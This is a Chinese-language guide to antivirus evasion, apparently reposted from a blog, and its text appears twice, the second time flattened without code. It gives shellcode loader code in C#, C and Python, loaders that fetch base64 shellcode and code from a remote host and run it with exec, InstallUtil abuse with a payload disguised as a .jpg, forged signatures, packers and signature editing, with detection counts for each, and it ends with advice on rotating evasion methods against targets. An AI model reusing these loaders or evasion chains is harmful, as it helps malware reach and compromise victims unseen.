各种免杀思路分析
字数 1441 2025-08-07 08:21:54

高级免杀技术全面指南

免杀基础概念

免杀技术(Antivirus Evasion)是指通过各种方法使恶意软件绕过杀毒软件的检测机制。在内网渗透中,免杀技术尤为重要,因为直接使用公开的工具或Payload很容易被检测。

免杀核心考虑因素

  1. 执行条件:Payload在各种环境下的执行能力
  2. 文件大小:避免过大引起怀疑
  3. 功能完整性:确保Payload能正常上线工作

语言选择对免杀的影响

不同编程语言生成的Payload具有不同的免杀率:

C#实现示例

using System;
using System.Runtime.InteropServices;

namespace TCPMeterpreterProcess {
    class Program {
        static void Main(string[] args) {
            byte[] shellcode = new byte[799] { /* shellcode */ };
            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
            hThread = CreateThread(0, 0, funcAddr, IntPtr.Zero, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
        // 相关API声明...
    }
}

免杀率:31/67

C语言实现示例

#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")

unsigned char buf[] = "\xfc\xe8\x89..."; // shellcode

int main() {
    char* Memory;
    Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, buf, sizeof(buf));
    ((void(*)())Memory)();
}

免杀率:37/67

结论:语言选择直接影响免杀效果,C语言比C#有更好的免杀率

编码与混淆技术

加密混淆示例

使用自定义加密算法处理shellcode:

// 加密部分
byte[] KEY = { 0x33, 0x11, 0x33, 0x00, /* ... */ };
byte[] IV = { 0x00, 0xcc, 0x00, 0x00, 0x00, 0xcc };
byte[] encrypted = Encryption_Class.Encrypt(KEY, shellcode);

// 解密执行部分
byte[] MsfPayload = Decrypt(KEY, _X_to_Bytes);
IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);

免杀效果:从31/67提升到26/67

常用加密方式

  1. Base64编码
  2. AES加密
  3. XOR异或加密
  4. RC4加密
  5. 自定义加密算法

打包器选择策略

Python实现示例

import ctypes
import base64

encode_shellcode = 'XHhmY1x4ZTh...' # base64编码的shellcode
shellcode = base64.b64decode(encode_shellcode)
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

不同打包器效果

  1. PyInstaller打包:免杀率3/44
  2. py2exe打包:免杀率9/66

结论:打包器选择显著影响免杀效果

Shellcode分离技术

将shellcode与加载器分离,实现无文件落地:

改进版Python加载器

import ctypes
import requests
import base64

mk = requests.get("http://example.com/shellcode.txt").text
mksec = base64.b64decode(mk)
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(mksec), 0x1000, 0x40)
sha = base64.b64decode(b'Y3R5cGVzL...') # base64编码的RtlMoveMemory调用
exec(sha)
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

免杀率:4/65

完全远程加载

import requests
import base64

mk = requests.get("http://example.com/66.txt").text
mksec = base64.b64decode(mk)
init = requests.get("http://example.com/12.txt").text
head = base64.b64decode(init)
exec(head)

免杀率:2/63

关键点

  • 变量命名避免常见安全词汇
  • 关键API调用进行编码
  • 功能模块远程分离

白名单技术利用

InstallUtil白名单执行

using System;
using System.ComponentModel;
using System.Configuration.Install;
using System.Runtime.InteropServices;

[System.ComponentModel.RunInstaller(true)]
public class Sample : Installer {
    public override void Uninstall(System.Collections.IDictionary savedState) {
        // shellcode执行逻辑
    }
}

public class Program {
    public static void Main() {
        Console.WriteLine("正常功能...");
    }
}

执行方式

csc /unsafe /platform:x86 /out:d:\mksec.jpg InstallUtil-ShellCode.cs
InstallUtil /logfile= /LogToConsole=false /U d:\mksec.jpg

优势

  • 利用系统自带工具执行
  • 可伪装为图片等无害格式
  • 绕过应用白名单限制

数字签名伪造

伪造方法

  1. 使用K8数字签名添加器等工具
  2. 提取合法软件的签名信息
  3. 将签名应用到恶意程序

效果

  • 未签名:31/67检测率
  • 添加签名后:27/67检测率

加壳保护技术

常用加壳工具

  1. VMProtect Ultimate
    • 未加壳:37/67
    • 加壳后:32/66
  2. UPX
  3. Themida
  4. ASPack

加壳优势

  • 加密原始代码
  • 增加逆向分析难度
  • 改变文件特征

花指令技术

花指令特点

  1. 插入无意义但合法的汇编指令
  2. 不影响程序功能
  3. 扰乱反汇编和特征码定位
  4. 改变代码偏移量

实现方式

jmp label1
db 无意义字节
label1:

特征码定位与修改

定位流程

  1. 使用分块工具将文件分割
  2. 对每个分块进行查杀测试
  3. 定位被检测的分块范围
  4. 使用反汇编工具精确定位

常用工具

  1. MyCCL特征码定位器
  2. OllyDbg
  3. IDA Pro

资源修改技术

实施步骤

  1. 提取合法软件的资源(图标、版本信息等)
  2. 将这些资源注入到恶意程序中
  3. 修改程序属性信息

效果示例

  • 未修改:37/67
  • 伪装为酷狗音乐:31/67

综合免杀策略

多层次免杀方案

  1. Payload层

    • 选择免杀率高的语言实现
    • 使用强加密算法混淆
    • 分离shellcode与加载器
  2. 加载层

    • 利用白名单程序加载
    • 使用非常规文件格式
    • 添加合法数字签名
  3. 保护层

    • 多重加壳保护
    • 插入花指令
    • 修改特征码
  4. 伪装层

    • 伪造资源信息
    • 模仿合法软件
    • 使用无害图标

组合技术效果

通过合理组合上述技术,可以将检测率从最初的31/67降低到2/63甚至更低,具体取决于技术组合的复杂度和杀毒软件的检测能力。

持续对抗建议

  1. 保持更新:关注杀毒软件的最新检测技术
  2. 多样化:准备多种免杀方案轮流使用
  3. 定制化:针对目标环境定制免杀方案
  4. 测试验证:使用多款杀毒软件全面测试
  5. 代码混淆:定期更新混淆算法和密钥

免杀技术是持续对抗的过程,需要不断研究和创新才能保持有效性。

高级免杀技术全面指南 免杀基础概念 免杀技术(Antivirus Evasion)是指通过各种方法使恶意软件绕过杀毒软件的检测机制。在内网渗透中,免杀技术尤为重要,因为直接使用公开的工具或Payload很容易被检测。 免杀核心考虑因素 执行条件 :Payload在各种环境下的执行能力 文件大小 :避免过大引起怀疑 功能完整性 :确保Payload能正常上线工作 语言选择对免杀的影响 不同编程语言生成的Payload具有不同的免杀率: C#实现示例 免杀率 :31/67 C语言实现示例 免杀率 :37/67 结论 :语言选择直接影响免杀效果,C语言比C#有更好的免杀率 编码与混淆技术 加密混淆示例 使用自定义加密算法处理shellcode: 免杀效果 :从31/67提升到26/67 常用加密方式 Base64编码 AES加密 XOR异或加密 RC4加密 自定义加密算法 打包器选择策略 Python实现示例 不同打包器效果 PyInstaller打包 :免杀率3/44 py2exe打包 :免杀率9/66 结论 :打包器选择显著影响免杀效果 Shellcode分离技术 将shellcode与加载器分离,实现无文件落地: 改进版Python加载器 免杀率 :4/65 完全远程加载 免杀率 :2/63 关键点 : 变量命名避免常见安全词汇 关键API调用进行编码 功能模块远程分离 白名单技术利用 InstallUtil白名单执行 执行方式 : 优势 : 利用系统自带工具执行 可伪装为图片等无害格式 绕过应用白名单限制 数字签名伪造 伪造方法 使用K8数字签名添加器等工具 提取合法软件的签名信息 将签名应用到恶意程序 效果 : 未签名:31/67检测率 添加签名后:27/67检测率 加壳保护技术 常用加壳工具 VMProtect Ultimate 未加壳:37/67 加壳后:32/66 UPX Themida ASPack 加壳优势 : 加密原始代码 增加逆向分析难度 改变文件特征 花指令技术 花指令特点 插入无意义但合法的汇编指令 不影响程序功能 扰乱反汇编和特征码定位 改变代码偏移量 实现方式 特征码定位与修改 定位流程 使用分块工具将文件分割 对每个分块进行查杀测试 定位被检测的分块范围 使用反汇编工具精确定位 常用工具 MyCCL特征码定位器 OllyDbg IDA Pro 资源修改技术 实施步骤 提取合法软件的资源(图标、版本信息等) 将这些资源注入到恶意程序中 修改程序属性信息 效果示例 : 未修改:37/67 伪装为酷狗音乐:31/67 综合免杀策略 多层次免杀方案 Payload层 : 选择免杀率高的语言实现 使用强加密算法混淆 分离shellcode与加载器 加载层 : 利用白名单程序加载 使用非常规文件格式 添加合法数字签名 保护层 : 多重加壳保护 插入花指令 修改特征码 伪装层 : 伪造资源信息 模仿合法软件 使用无害图标 组合技术效果 通过合理组合上述技术,可以将检测率从最初的31/67降低到2/63甚至更低,具体取决于技术组合的复杂度和杀毒软件的检测能力。 持续对抗建议 保持更新 :关注杀毒软件的最新检测技术 多样化 :准备多种免杀方案轮流使用 定制化 :针对目标环境定制免杀方案 测试验证 :使用多款杀毒软件全面测试 代码混淆 :定期更新混淆算法和密钥 免杀技术是持续对抗的过程,需要不断研究和创新才能保持有效性。